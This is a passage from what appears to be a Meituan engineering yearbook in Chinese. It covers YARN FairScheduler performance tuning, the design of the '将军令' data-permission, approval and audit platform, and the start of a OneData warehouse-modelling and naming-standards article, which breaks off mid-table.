指标对比。详细代码参考：YARN-7672

细粒度监控指标

利用调度压力模拟器进行压测，观察到 validSchedule 不达标，但依然不清楚性

能瓶颈到底在哪里。因此需要细粒度指标来确定性能的瓶颈点。由于调度过程是单线

程的，因此细粒度指标获取的手段是侵入 FairScheduler，在调度流程中采集关键函

数每分钟的时间消耗。目标是找到花费时间占比最多的函数，从而定位系统瓶颈。例

如：在 preCheck 函数的前后加入时间统计，就可以收集到调度过程中 preCheck 消

耗的时间。

基于以上的思路，我们定义了 10多个细粒度指标，比较关键的指标有：

	● 每分钟父队列 preCheck 时间

	● 每分钟父队列排序时间

	● 每分钟子队列 preCheck 时间

https://issues.apache.org/jira/projects/YARN/issues/YARN-7672
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	● 每分钟子队列排序时间

	● 每分钟为作业分配资源的时间

	● 每分钟因为作业无资源需求而花费的时间

关键优化点

第一次做压测，给定的压力就是当时线上生产环境峰值的压力情况（1000 节点、

1000 作业并发、500 队列、单Container 执行时间 40秒）。经过优化后，调度器性

能提升，满足业务需求，之后通过预估业务规模增长来调整测试压力，反复迭代地进

行优化工作。

下图是性能优化时间线，纵轴为调度性能CPS。

性能优化时间线

优化排序比较函数

在核心调度流程中，第 2步是排序子队列。观察细粒度指标，可以很清楚地看到

每分钟调度流程总共用时 50 秒，其中排序时间占用了 30 秒，占了最大比例，因此

首先考虑优化排序时间。

排序本身用的快速排序算法，已经没有优化空间。进一步分析排序比较函数，发
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现排序比较函数的时间复杂度非常高。

计算复杂度最高的部分是：需要获取队列 / 作业的资源使用情况 (resource-

Usage)。原算法中，每 2个队列进行比较，需要获取 resourceUsage 的时候，程序

都是现场计算。计算方式是递归累加该队列下所有作业的 resourceUsage。这造成

了巨大的重复计算量。

优化策略：将现场计算优化为提前计算。

提前计算算法：当为某个 App 分配了一个 Container（资源量定义为

containerResource），那么递归调整父队列的 resourceUsage，让父队列的

resourceUsage	+=	containerResource。当释放某个App 的一个Container，同

样的道理，让父队列 resourceUsage	-=	containerResource。	利用提前计算算

法，队列 resourceUsage 的统计时间复杂度降低到O(1)。

优化效果：排序相关的细粒度指标耗时明显下降。

优化排序比较函数效果

红框中的指标表示每分钟调度器用来做队列 / 作业排序的时间。从图中可以看

出，经过优化，排序时间从每分钟 30G（30 秒）下降到 5G（5秒）以内。	详细代码

参考：YARN-5969

https://issues.apache.org/jira/browse/YARN-5969


大数据　<　373

优化作业跳过时间

从上图看，优化排序比较函数后，蓝色的线有明显的增加，从 2秒增加到了 20

秒。这条蓝线指标含义是每分钟调度器跳过没有资源需求的作业花费的时间。从时间

占比角度来看，目前优化目标是减少这条蓝线的时间。

分析代码发现，所有队列 / 作业都会参与调度。但其实很多队列 / 作业根本没有

资源需求，并不需要参与调度。因此优化策略是：在排序之前，从队列的Children

中剔除掉没有资源需求的队列 / 作业。

优化效果：这个指标从 20秒下降到几乎可以忽略不计。详细代码参考：YARN-

3547

优化作业跳过时间

这时，从上图中可以明显看到有一条线呈现上升趋势，并且这个指标占了整个

调度时间的最大比例。这条线对应的指标含义是确定要调度的作业后，调度器为这个

作业分配出一个Container 花费的时间。这部分逻辑平均执行一次的时间在 0.02ms

以内，并且不会随着集群规模、作业规模的增加而增加 , 因此暂时不做进一步优化。

https://issues.apache.org/jira/browse/YARN-3547
https://issues.apache.org/jira/browse/YARN-3547
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队列并行排序优化

从核心调度流程可以看出，分配每一个Container，都需要进行队列的排序。排

序的时间会随着业务规模增加（作业数、队列数的增加）而线性增加。

架构思考：对于公平调度器来说，排序是为了实现公平的调度策略，但资源需求

是时时刻刻变化的，每次变化，都会引起作业资源使用的不公平。即使分配每一个

Container 时都进行排序，也无法在整个时间轴上达成公平策略。

例如，集群有 10 个 cpu，T1 时刻，集群只有一个作业 App1 在运行，申请了

10 个 cpu，那么集群会把这 10 个 cpu 都分配给 App1。T2 时刻 (T2	>	T1)，集群

中新来一个作业App2，这时集群已经没有资源了，因此无法为App2 分配资源。这

时集群中App1 和 App2 对资源的使用是不公平的。从这个例子看，仅仅通过调度的

分配算法是无法在时间轴上实现公平调度。

目前公平调度器的公平策略是保证集群在某一时刻资源调度的公平。在整个时间

轴上是需要抢占策略来补充达到公平的目标。	因此从时间轴的角度考虑，没有必要在

分配每一个Container 时都进行排序。

综上分析，优化策略是排序过程与调度过程并行化。要点如下：

1.	调度过程不再进行排序的步骤。

2.	独立的线程池处理所有队列的排序，其中每个线程处理一个队列的排序。

3.	排序之前，通过深度克隆队列 / 作业中用于排序部分的信息，保证排序过程中

队列 / 作业的数据结构不变。

并行排序优化
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优化效果如下：

队列排序效率：利用线程池对 2000 个队列进行一次排序只需要 5 毫秒以内

(2ms-5ms)，在一秒内至少可以完成 200 次排序，对业务完全没有影响。

在并行运行 1万作业，集群 1.2 万的节点，队列个数 2000，单 Container 执

行时间 40秒的压力下，调度CPS达到 5万，在一分钟内可以将整个集群资源打满，

并持续打满。

并发作业数

作业资源需求量

集群资源使用率
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上图中，15:26 分，pending 值是 0，表示这时集群目前所有的资源需求已经

被调度完成。15:27 分，resourceUsage 达到 1.0，表示集群资源使用率为 100%，

集群没有空闲资源。pending 值达到 4M（400 万	mb 的内存需求）是因为没有空闲

资源导致的资源等待。

稳定上线的策略

线下压测的结果非常好，最终要上到线上才能达成业务目标。然而稳定上线是有

难度的，原因：

	● 线上环境和线下压测环境中的业务差别非常大。线下没问题，上线不一定没问题。

	● 当时 YARN集群只有一个，那么调度器也只有一个，如果调度器出现异常，

是整个集群的灾难，导致整个集群不可用。

除了常规的单元测试、功能测试、压力测试、设置报警指标之外，我们根据业务

场景提出了针对集群调度系统的上线策略。

在线回滚策略

离线生产的业务高峰在凌晨，因此凌晨服务出现故障的概率是最大的。而凌晨

RD同学接到报警电话，执行通常的服务回滚流程（回滚代码，重启服务）的效率是很

低的。并且重启期间，服务不可用，对业务产生了更长的不可用时间。因此我们针对

调度器的每个优化策略都有参数配置。只需要修改参数配置，执行配置更新命令，那

么在不重启服务的情况下，就可以改变调度器的执行逻辑，将执行逻辑切换回优化前

的流程。

这里的关键问题是：系统通过配置加载线程更新了调度器某个参数的值，而调度

线程也同时在按照这个参数值进行工作。在一次调度过程中可能多次查看这个参数的

值，并且根据参数值来执行相应的逻辑。调度线程在一次调度过程中观察到的参数值

发生变化，就会导致系统异常。

处理办法是通过复制资源的方式，避免多线程共享资源引起数据不一致的问题。

调度线程在每次调度开始阶段，先将当前所有性能优化参数进行复制，确保在本次调
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度过程中观察到的参数不会变更。

数据自动校验策略

优化算法是为了提升性能，但要注意不能影响算法的输出结果，确保算法正确

性。对于复杂的算法优化，确保算法正确性是一个很有难度的工作。

在“优化排序比较时间”的研发中，变更了队列 resourceUsage 的计算方法，

从现场计算变更为提前计算。那么如何保证优化后算法计算出来的 resourceUsage

是正确的呢？

即使做了单元策略，功能测试，压力测试，但面对一个复杂系统，依然不能有

100%的把握。	另外，未来系统升级也可能引起这部分功能的 bug。

算法变更后，如果新的 resourceUsage 计算错误，那么就会导致调度策略一直

错误执行下去。从而影响队列的资源分配。会对业务产生巨大的影响。例如，业务拿

不到原本的资源量，导致业务延迟。

通过原先现场计算的方式得到的所有队列的 resourceUsage 一定是正确的，

定义为 oldResourceUsage。	算法优化后，通过提前计算的方式得到所有队列的

resourceUsage，定义为 newResourceUsage。

在系统中，定期对 oldResourceUsage 和 newResourceUsage 进行比较，如

果发现数据不一致，说明优化的算法有 bug，newResourceUsage 计算错误。这时

系统会向RD发送报警通知，同时自动地将所有计算错误的数据用正确的数据替换，

使得错误得到及时自动修正。

总结与未来展望

本文主要介绍了美团点评Hadoop	YARN集群公平调度器的性能优化实践。

1.	做性能优化，首先要定义宏观的性能指标，从而能够评估系统的性能。

2.	定义压测需要观察的细粒度指标，才能清晰看到系统的瓶颈。

3.	工欲善其事，必先利其器。高效的压力测试工具是性能优化必备的利器。

4.	优化算法的思路主要有：降低算法时间复杂度；减少重复计算和不必要的计
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算；并行化。

5.	性能优化是永无止境的，要根据真实业务来合理预估业务压力，逐步开展性

能优化的工作。

6.	代码上线需谨慎，做好防御方案。

单个YARN集群调度器的性能优化总是有限的，目前我们可以支持 1万节点的

集群规模，那么未来 10万，100 万的节点我们如何应对？

我们的解决思路是：基于社区的思路，设计适合美团点评的业务场景的技术方

案。社区Hadoop	3.0 研发了Global	Scheduling，完全颠覆了目前YARN调度器

的架构，可以极大提高单集群调度性能。我们正在跟进这个Feature。社区的YARN	

Federation 已经逐步完善。该架构可以支撑多个 YARN集群对外提供统一的集群

计算服务，由于每个YARN集群都有自己的调度器，这相当于横向扩展了调度器的

个数，从而提高集群整体的调度能力。我们基于社区的架构，结合美团点评的业务场

景，正在不断地完善美团点评的YARN	Federation。

作者简介
世龙、廷稳，美团用户平台大数据与算法部研发工程师。

团队介绍
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计算作业的高效调度，资源利用率超过	90%。资源调度系统同时实现了对实时计算作业、机

器学习模型	Serving	服务等高可用场景的支持，可用性超过	99.9%。系统也提供了对	CPU/

GPU	等异构资源的调度支持，实现了数千张	GPU卡的高效调度，以及	CPU	资源的离线与训

练混合调度，目前正在引入	NPU/FPGA	等更多异构资源，针对机器学习场景的特点实现更高

效合理的调度策略。
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https://issues.apache.org/jira/browse/YARN-2915
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将军令：数据安全平台建设实践

夷山　中华

背景

在大数据时代，数据已经成为公司的核心竞争力。此前，我们介绍了美团酒旅起

源数据治理平台的建设与实践，主要是通过各种数据分析挖掘手段，为公司发展决策

和业务开展提供数据支持。

近期，业内数据安全事件频发，给相关企业造成了无可挽回的损失，更为数据安

全防护意识薄弱的企业敲响了警钟。如何对公司内部数据最为集中的数据分析、数据

服务、数据治理等各种数据类产品进行权限管控，已经成为数据安全建设中最为重要

的任务。

如果从控制力的角度来进行划分的话，权限管控可以分为功能级权限管控和数据

级权限管控。早期的数据安全产品大多使用传统的权限模型，只能实现功能级权限管

控，无法进行数据级权限管控。基于数据类产品更高的安全要求，我们需要构建一个

同时满足各类产品数据安全的我们需要构建一个同时满足各类产品数据安全的平台。

为此，美团用户平台应用研发组不仅设计了能表达和管控各种复杂关系的权限模

型，还针对事前、事中、事后等三个场景，分别设计了审批、权限、审计三个子系统

以保障数据安全的完整闭环，进而满足数据安全的各种要求。

https://tech.meituan.com/2018/12/27/onedata-origin.html
https://tech.meituan.com/2018/12/27/onedata-origin.html
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图 1　权限背景

功能应用类产品的权限表达，一般为“是否有权限”，而数据类产品权限表达的

关系更加复杂。例如数据类产品的报表，不仅需要表达出用户能否访问这个报表，而

且需要表达出用户能访问报表中的哪些维度、指标以及维值的范围。还需要告知这些

维度指标来自于哪些库表模型，是否有权限访问以及创建报表。

权限模型

传统的权限模型有ACL（Access	Control	List）访问控制列表，RBAC（Role-

Based	Access	Control）基于角色的访问控制等。以上模型比较适用于应用类型产

品的权限管控，而数据类型的产品对信息安全的要求更高，而且各类资源间的关系也

更复杂，使用传统的模型难以将内部关系进行清晰的表达，所以我们在RBAC权限

模型的基础上，扩展设计了新的权限模型。
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图 2　传统权限模型

如图 2所示，传统的权限模型：

	● ACL 访问控制列表，用户与权限直接关联，直接维护用户与列表中资源的关

系从而达到权限管控的目的。

	● RBAC模型则是角色与权限进行关联，用户成为相应的角色而获得对应的权限。

为什么要设计新的权限模型？

1.	ACL 模型是用户与资源直接建立关系，没有角色的概念。当某些用户需要一

批同样资源的权限时，赋权操作就变得很复杂，此时这种模型就不太适应了。

2.	RBAC模型引入了角色的概念，角色与资源建立关系。当某些用户需要一批

同样资源的权限时，只需要构建一个角色并赋予使用这批资源的权限。当用

户加入这个角色时，则拥有该角色的所有权限。解决了赋权操作复杂的问题。

不过ACL模型和RBAC模型，都存在以下几个问题：

1.	数据类产品资源之间关系复杂，不能很好地表达这种复杂的关系。例如：一

个报表下有多个标签页，一个标签页下有多个组件，一个组件下有多个维度、

指标等。同时维度、指标又来自不同的数据模型、库表等。资源与资源之间

存在关系，当管理员给一个用户赋予报表的全部或部分权限时，报表下的子

资源需要同时获得对应的权限。

2.	RBAC模型中角色与角色之间没有对应的关系。例如：组织架构中，员工所
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在的组织架构如下：华东区 / 销售一区 / 销售一组，员工拥有的角色是销售一

组的角色。当角色之间没有关系时，员工如果需要华东区角色的权限时，需

要添加到华东区的角色中。而如果角色与角色之间具有从属关系时，则能很

好地解决这个问题。

新的权限模型是如何解决上面这些问题的：

1.	设计资源模型时，资源与资源之间具有从属关系，并且资源允许多层级，以

树形结构展示。例如报表是一个父资源，标签、组件、维度指标都是报表下

的子资源，这样赋权时能清晰地展示出报表资源与下面的子资源的关系，赋

权和鉴权时才能满足各种权限控制的要求。

2.	角色与角色之间具有从属关系，例如员工在华东区 / 销售一区 / 销售一组的组

织架构中，华东区 / 销售一区 / 销售一组这 3个角色之间分别具有父子级的

从属关系，当员工在销售一组部门下，则拥有华东区、销售一区、销售一组

的所有权限。当权限不冲突时则直接合并所有权限，冲突时则以“就近原则”

进行覆盖。

图 3　新的权限模型

如图 3所示，新的权限模型包含 3个部分，用户中心、资源中心、权限中心。
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用户中心：用户管理、角色管理

	● 角色分为个人、组织、自定义 3种，一个用户可以同时拥有多个角色，比如用

户默认对应一个个人角色，又可同时拥有在公司组织架构中组织角色、在自定

义组织的自定义角色。

	● 角色支持多层级，满足角色间权限继承的表达方式。

	● 用户、部门信息Mafka（美团基于Kafka 开发的一个分布式消息中间件综合解

决方案）实时更新，每天ETL定时同步，保证人员入职、转岗、调离权限实时

同步。

图 4　用户中心

资源中心：资源管理

	● 资源类型支持自定义，在通用资源类型的基础上支持自定义的资源接入，满足

各个系统不同资源的统一管控。

	● 资源支持多层级，树形结构的资源展示方式便于资源的统一赋权鉴权；给一个

报表资源赋权时，挂在报表下的维度、指标等资源能统一获得权限。

	● 支持资源打包简化赋权流程。

	● 资源安全密级、资源负责人，支持按照资源配置不同的审批模板进行权限自助

申请。
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图 5　资源中心

权限中心：角色与资源的关系的多种策略表达

	● 范围策略：例如报表中的平台维度的维值包括美团和大众点评，赋权时，支持

按要求给用户赋予部分或全部权限；鉴权时，按照规则解析为某人拥有某维度

的部分或全部权限。

	● 表达式策略：当把报表给用户赋权时，设置表达式为 limit	10，表示当前用户

在该报表其他权限的基础上再进行限制，只能返回前 10条记录。

	● 权限自动合并：一个用户拥有多个角色，多角色的同一资源的权限鉴权时按照

规则自动合并；规则解析时，权限数据不冲突时取合集，冲突时按照优先级取

对应的值。

	● 黑白名单：支持按照特定的规则，对某人针对某资源全面开发和封禁，黑白名

单策略的优先级最高，其中黑名单高于白名单。
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图 6　权限中心

挑战

在建设数据安全平台的过程中，主要面临以下几点挑战：

	● 随着支持的业务线增加，通用平台的不能满足各个业务线的定制需求时，需要

保证系统的灵活可扩展。

	● 提供一个通用的数据安全平台，满足大部分的数据安全的要求，保证系统的通

用性。

	● 权限系统作为一个高QPS访问的系统，如何保证系统的高可用。

解决思路

1.	提供灵活可插拔的Plugin 服务，在通用权限基础上，满足各个业务线灵活的

权限管控要求。

2.	提供一个通用的数据安全平台，满足基本的权限、审批、审计的基础功能。

3.	微服务架构、核心与非核心服务分离、数据缓存降级满足系统高可用。
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解决方案

图 7　将军令整体架构

如图 7所示，将军令分 3块，数据内容权限平台、审批流平台、审计日志平台：

	● 提供各种灵活可插拔的Plugin 服务，支持在通用服务的基础基础上进行定制

开发。

	● 提供基础服务，满足各种通用的数据安全要求。

	● 提供管理工作台，支持管理员对各种数据和规则进行页面管理和配置。

具体方案

Plugin 服务层，保证系统灵活可扩展

在满足通用权限的基础上，各个业务线难免会有定制的权限管控需求，于是设计

了权限Plugin 模块。

通用服务提供用户管理、资源管理、鉴权授权的服务，Plugin 调用基础服务实

现特殊的权限管控。Plugin 模块的应用和数据各自单独管理，通过RPC方式调用通

用服务实现灵活可插拔。后续Plugin 模块的服务支持各个接入的应用单独定制开发。
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图 8　Plugin 服务

如图 8所示，通用权限的服务与Plugin 的服务是分离的，支持多个Plugin 服务

灵活可插拔：

	● 通用服务提供用户、资源、鉴权授权等通用服务，大部分的系统基于通用服务

即可实现权限管控要求。

	● Plugin 服务基于通用服务对外提供的 SDK进行拓展，各个 Plugin 服务单独

部署，保证系统之间互相独立。

最终的权限实现分层管控，分为核心数据层（用户、资源、权限数据）和应用层。

核心数据层的数据由通用服务进行管理，达到权限数据统一管控的要求。应用层以

Plugin 服务方式接入，Plugin 通过通用服务层对外的SDK进行权限数据读写，达到

定制的管控要求。应用层的数据各自存储，可以自定义管控规则。接口之间的调用通

过BA认证鉴权，保证服务之间调用的安全性。
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基础服务层，保证系统通用性

通用权限系统架构

使用微服务架构设计，系统分为接入层、服务层、数据库层、以及外部服务层。

主要包含以下几个核心服务：

	● 用户服务：主要包含用户和部门信息同步、角色管理。

	● 资源服务：包含资源注册、资源定时同步、资源密级及管理员管理、资源包

管理。

	● 赋权服务：权限自助申请、管理员赋权。

	● 鉴权服务：提供各种鉴权的SDK供使用方调用。

图 9　权限系统架构

如图 9所示：
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	● 接入层：对外所有系统通过统一的SDK调用服务。

	● 服务层：微服务架构，各个服务之间互相之间提供服务。

	● 数据库层：合理利用缓存、数据降级，保证服务高可用。

	● 集成公司公共服务，保证系统稳健运行。

审批系统架构

提供通用的审批服务，提供多级审批模板，使用时选择模板启动审批流，审批系

统按照启动的参数进行规则解析，自动适配对应的审批流程。缩减接入流程支持一键

接入。

图 10　审批系统架构

如图 10 所示：优化审批接入流程，提供通用的审批服务，减少系统接入开发

成本：

	● 前期开发一个审批功能需要 6个步骤，绘制流程图，配置审批的组和成员，配

置通知的消息，配置事件映射，启动审批流，开发回调接口改状态。

	● 而我们在平台的审批服务基础上进行封装，提供通用的审批模板，接入审批

系统只需要选择模板启动审批流，并提供回调接口即可。能满足大部分的审

批功能。
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提供通用的规则解析引擎，支持审批人、审批条件、审批通知按照规则动态解析

匹配。灵活实现自动审批、多人多级审批、定时催办等多种通用功能。

	● 对接权限和审计系统，保证审批系统数据安全：

	● 对接权限系统，提供管理员权限管控。

对接审计系统，操作数据落到审计系统便于后续的数据审计。

审计系统架构

提供通用的数据审计服务，客户端日志埋点上报，审计日志按类型落到Elastic-

search 中存储。对接如意可视化报表出审计报告，对接权限系统管控数据权限。

图 11　审计系统架构

如图 11所示：审计数据模型层支持自动扩展：

	● 每个应用对应一个 appkey，每个 appkey 按照模板分日期自动创建一个索引，

支持自动扩展。

	● 每种类型的审计日志对应Elasticsearch 索引中的一个 type，新增一种操作日

志时，type 自动创建。
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	● 审计日志中的字段对应 type 中的字段，新增字段时自动扩展。

保证系统高可用

微服务架构服务分离

随着系统的模块功能越来越多，单一架构模式已不再适合敏捷开发，模块越来越

大系统启动则越慢，任一模块出错则整个系统的服务都不可用。

为了保证服务的高可用和扩展性，于是以微服务架构把模块进行拆分，并把核心

与非核心服务进行分离。

图 12　微服务架构

如图 12所示：

	● 前端接入层通过HTTP接入，BA认证校验请求合法性，通过Nginx负载均衡。

	● 管理控制台，通过调用服务层的各个服务实现统一管理。

	● 服务层，抽象系统各个模块，每个模块都是一个微服务，每一个微服务都独立

部署，可以根据每个服务的规模按需部署。

	● Client 层，对外提供统一的Pigeon（美团内部分布式服务RPC通信框架）接

口，通过POM引入调用服务层各个服务。
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权限继承

由于资源支持多层级，设计权限模型时支持权限继承，当赋权时开启继承，则用

户默认拥有该资源以及下面所有资源的全部权限，数据存储时只需要存储祖先资源与

用户之间的关系。大大减少了权限矩阵大小。

图 13　权限继承

权限数据存储

接入的系统越多，则资源和用户就越多。随着系统运行越久，对应的权限数据也

会随之快速增长。如何在数据增长的同时保证接口的性能和高可用。

权限备份与恢复

参照 HBase 的版本号和 MySQL 的 Binlog 的设计思路，赋权时权限只

存储当前用户最新权限数据，历史权限数据和操作记录用版本号的方式存储到

Elasticsearch 中。用户鉴权时只需要查询MySQL 的权限数据即可，保证鉴权接
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口的高效性。

图 14　权限备份与恢复

如图 14所示：

	● 赋权操作时，通过版本号管理权限数据，每次操作后版本号加 1，MySQL 和

Redis 中只存储最新的权限数据。

	● 历史权限数据通过版本号的方式存储到Elasticsearch 中，每次查看历史操作

记录或恢复权限数据时，根据版本号回溯即可。

权限过期清理

	● 通过 Crane 定时调度，根据配置的通知规则，扫描即将过期的权限数据，发

送消息通知用户进行权限续期。

	● 扫描已过期的权限数据，清理MySQL 和 Redis 中的过期权限数据，并转储

到Elasticsearch 中保存，已备后续的权限审计。

数据读写分离、缓存、备份以及服务熔断降级

各个服务使用MySQL 分库存储，使用 Zebra（美团数据库访问层中间件）进

行读写分离；合理使用数据缓存与备份，并支持服务的熔断降级，以保证服务的高

可用。
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图 15　数据读写分离、缓存、备份以及服务熔断降级

如图 15所示：

	● 各个服务使用MySQL分库存储；核心服务与非核心服务分离，服务和数据库

支持按需弹性拓展。

	● 角色、资源等热点数据使用Redis 做缓存，并在Redis 缓存不可用时自动下

沉到MySQL进行查询。

	● 操作记录和历史数据等不活跃数据落地到 Elasticsearch，以便审计和数据

恢复。

	● 服务不可用时支持熔断降级，以保证核心服务的可用性。

合理使用消息队列、任务调度、线程池、分布式锁

使用消息队列、任务调度、线程池进行异步、削峰、解耦合，减少服务响应时

间，提升用户体验。并使用分布式锁保证数据一致性。
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图 16　提高服务响应速度

如图 16所示：

	● 使用消息队列处理用户请求，实时返回操作成功，后台根据接受到的MQ消息

异步进行处理并修改状态，页面轮询状态展示最终结果或发送大象（美团内部

通讯工具）消息进行最终结果推送。

	● 需要定时同步的任务通过Crane 分布式任务调度平台进行定时调度执行。

	● 审批回调时使用线程池处理审批结果回调与失败重试，较少创建销毁线程的

开销。

	● 分布式锁，保证同一个方法在同一操作上只能被一台机器上的一个线程执行，

避免用户重复提交或者多机器重复处理导致的数据不一致。

展望

作为一个通用的数据安全平台，各个业务线的各种定制需求不可能都满足。目前

在系统架构上已支持提供多个可插拔的Plugin 服务，在通用服务的基础上实现定制

的权限管控。后续将军令将针对权限、审批、审计提供Plugin 开发规范，支持接入

的系统在现有的基础上进行定制开发。
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图 17　总体架构与展望

如图 17所示：

	● 后续将对外提供统一的Plugin 开发规范，支持各个接入方系统以Plugin 服务

的形式在平台基础服务之上进行定制开发，以满足各自的特殊权限管控要求。

从而实现数据产品权限集中管控确保数据安全。

	● 把将军令中的规则从现有的服务中分离出来，抽象出一个通用的规则引擎服

务，实现规则灵活可配置。
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OneData 建设探索之路：SaaS 收银运营数仓建设

周成

背景

随着业务的发展，频繁迭代和跨部门的垂直业务单元变得越来越多。但由于缺乏

前期规划，导致后期数仓出现了严重的数据质量问题，这给数据治理工作带来了很大

的挑战。在数据仓库建设过程中，我们总结的问题包括如下几点：

	● 缺乏统一的业务和技术标准，如：开发规范、指标口径和交付标准不统一。

	● 缺乏有效统一的数据质量监控，如：列值信息不完整和不准确，SLA时效无法

保障等。

	● 业务知识体系散乱不集中，导致不同研发人员对业务理解存在较大的偏差，造

成产品的开发成本显著增加。

	● 数据架构不合理，主要体现在数据层之间的分工不明显，缺乏一致的基础数据

层，缺失统一维度和指标管理。

目标

在现有大数据平台的基础上，借鉴业界成熟OneData 方法论，构建合理的数据

体系架构、数据规范、模型标准和开发模式，以保障数据快速支撑不断变化的业务并

驱动业务的发展，最终形成我们自己的OneData 理论体系与实践体系。

OneData 探索

OneData：行业经验

在数据建设方面，阿里巴巴提出了一种OneData 标准，如图 1所示：
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图 1　OneData 标准

OneData：我们的思考

他山之石，可以攻玉。我们结合实际情况和业界经验，进行了如下思考：

1.	对阿里巴巴OneData 的思考

	● 整个OneData 体系覆盖范围广，包含数据规范定义体系、数据模型规范设计、

ETL规范研发以及支撑整个体系从方法到实施的工具体系。

	● 实施周期较长，人力投入成本较高。

	● 推广落地的工作比较依赖工具。

2.	对现有实际的思考

	● 现阶段工具保障方面偏弱，人力比较缺乏。

	● 现有开发流程不能全部推翻。

经过综合考量，我们发现直接全盘复用他人经验是不合理的。那我们如何定义自

己的OneData，即能在达到目标的前提下，又能避免上述的难题呢？

OneData：我们的想法

首先，结合行业经验，自身阶段的实践及以往的数仓经验，我们预先定义了

OneData 核心思想与OneData 核心特点。

OneData 核心思想：从设计、开发、部署和使用层面，避免重复建设和指标冗

余建设，从而保障数据口径的规范和统一，最终实现数据资产全链路关联、提供标准

数据输出以及建立统一的数据公共层。
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OneData 核心特点：三特性和三效果。

	● 三特性：统一性、唯一性、规范性。

	● 三效果：高扩展性、强复用性、低成本性。

图 2　OneData 的六个特性

OneData：我们的策略

OneData 即有核心思想又有核心特点，到底怎么来实现核心思想又能满足其

核心特点呢？通过以往经验的沉淀，我们提出两个统一方法策略：统一归口、统一

出口。

根据两个统一的方法策略，我们开启了OneData 的实践之路。
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OneData 实践

统一业务归口

数据来源于业务并支撑着业务的发展。因此，数仓建设的基石就是对于业务的把

控，数仓建设者即是技术专家，也应该是“大半个”业务专家。基于互联网行业的特

点，我们基本上采用需求推动数据的建设，这也带来了一些问题，包括：数据对业务

存在一定的滞后性；业务知识沉淀在各个需求里，导致业务知识体系分散。针对这些

问题，我们提出统一业务归口，构建全局知识库，进而保障对业务认知的一致性。

图 3　支持业务的数据源知识库

设计统一归口

为了解决数据仓库建设过程中出现的各种痛点，我们从模型与规范两个方面进行

建设，并提出设计统一归口。
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1. 模型

规范化模型分层、数据流向和主题划分，从而降低研发成本，增强指标复用性，

并提高业务的支撑能力。

（1）模型分层

优秀可靠的数仓体系，往往需要清晰的数据分层结构，即要保证数据层的稳定又

要屏蔽对下游的影响，并且要避免链路过长。结合这些原则及以往的工作经验，我们

将分层进行统一定义为四层：

图 4　数据分层架构

（2）模型数据流向

重构前，存在大量的烟囱式开发、分层应引用不规范性及数据链路混乱、血缘关

系很难追溯和SLA时效难保障等问题。

图 5　重构前和重构后的数据流向图
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重构之后，稳定业务按照标准的数据流向进行开发，即 ODS–>DWD–

>DWA–>APP。非稳定业务或探索性需求，可以遵循ODS->DWD->APP 或者

ODS->DWD->DWT->APP 两个模型数据流。在保障了数据链路的合理性之后，

又在此基础上确认了模型分层引用原则：

	● 正 常 流 向：ODS>DWD->DWT->DWA->APP， 当 出 现 ODS	>DWD-

>DWA->APP 这种关系时，说明主题域未覆盖全。应将 DWD数据落到

DWT中，对于使用频度非常低的表允许DWD->DWA。

	● 尽量避免出现DWA宽表中使用DWD又使用（该DWD所归属主题域）DWT

的表。

	● 同一主题域内对于DWT生成 DWT的表，原则上要尽量避免，否则会影响

ETL的效率。

	● DWT、DWA 和 APP 中禁止直接使用 ODS 的表，	ODS 的表只能被 DWD

引用。

	● 禁止出现反向依赖，例如DWT的表依赖DWA的表。

2. 主题划分

传统行业如银行、制造业、电信、零售等行业中，都有比较成熟的主题划分，如

BDWM、FS-LDM、MLDM等等。但从实际调研情况来看，主题划分太抽象会造成

对业务理解和开发成本较高，不适用互联网行业。因此，结合各层的特性，我们提出

了两类主题的划分：面向业务、面向分析。

	● 面向业务：按照业务进行聚焦，降低对业务理解的难度，并能解耦复杂的业务。

我们将实体关系模型进行变种处理为实体与业务过程模型。实体定义为业务过

程的参与体；业务过程定义是由多个实体作用的结果，实体与业务过程都带有

自己特有的属性。根据业务的聚合性，我们把业务进行拆分，形成了七大核心

主题。

	● 面向分析：按照分析聚焦，提升数据易用性，提高数据的共享与一致性。按照

分析主体对象不同及分析特征，形成分析域主题在DWA进行应用，例如销售
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分析域、组织分析域。

3. 规范

模型是整个数仓建设基石，规范是数仓建设的保障。为了避免出现指标重复建设

和数据质量差的情况，我们统一按照最详细、可落地的方法进行规范建设。

（1）词根

词根是维度和指标管理的基础，划分为普通词根与专有词根，提高词根的易用性

和关联性。

	● 普通词根：描述事物的最小单元体，如：交易 -trade。

	● 专有词根：具备约定成俗或行业专属的描述体，如：美元 -USD。

（2）表命名规范

通用规范

	● 表名、字段名采用一个下划线分隔词根（示例：clienttype->client_type）。

	● 每部分使用小写英文单词，属于通用字段的必须满足通用字段信息的定义。

	● 表名、字段名需以字母为开头。

	● 表名、字段名最长不超过 64个英文字符。

	● 优先使用词根中已有关键字（数仓标准配置中的词根管理），定期Review 新增

命名的不合理性。

	● 在表名自定义部分禁止采用非标准的缩写。

表命名规则

表名称	=	类型	+	业务主题	+	子主题	+	表含义	+	存储格式	+	更新频率	+ 结尾，

如下图所示：
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图 6　统一的表命名规范

（3）指标命名规范

结合指标的特性以及词根管理规范，将指标进行结构化处理。

A.	基础指标词根，即所有指标必须包含以下基础词根：

基础指标词根 英文全称 Hive数据类型 MySQL数据类型 长度 精度 词根 样例

数量 count Bigint Bigint 10 0 cnt

金额类 amout Decimal Decimal 20 4 amt

比率 / 占比 ratio Decimal Decimal 10 4 ratio 0.9818

…… …… …… …… ……

B. 业务修饰词，用于描述业务场景的词汇，例如 trade- 交易。

C. 日期修饰词，用于修饰业务发生的时间区间。

日期类型 全称 词根 备注

日 daily d

周 weekly w

…… …… ……

D. 聚合修饰词，对结果进行聚集操作。

聚合类型 全称 词根 备注

平均 average avg

周累计 wtd wtd 本周一截止到当天累计

…… …… ……

E. 基础指标，单一的业务修饰词 +基础指标词根构建基础指标	，例如：交易金

额 -trade_amt。

F. 派生指标，多修饰词 +基础指标词根构建派生指标。派生指标继承基础指标

的特性，例如：安装门店数量 -install_poi_cnt。
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G. 普通指标命名规范，与字段命名规范一致，由词汇转换即可以。

图 7　普通指标规范

H. 日期类型指标命名规范，命名时要遵循：业务修饰词 +基础指标词根 +日期

修饰词 / 聚合修饰词。将日期后缀加到名称后面，如下图所示：

图 8　日期类型指标规范

I. 聚合类型指标，命名时要遵循：业务修饰词 +基础指标词根 +聚合类型 +日期

修饰词。将累积标记加到名称后面，如下图所示：



406　>　美团 2019 技术年货

图 9　聚合类指标规范

（4）清洗规范

确认了字段命名和指标命名之后，根据指标与字段的部分特性，我们整理出了整

个数仓可预知的 24条清洗规范：

数据类型 数据类别
Hive

类型

MySQL

类型
长度 精度 词根 格式说明 备注

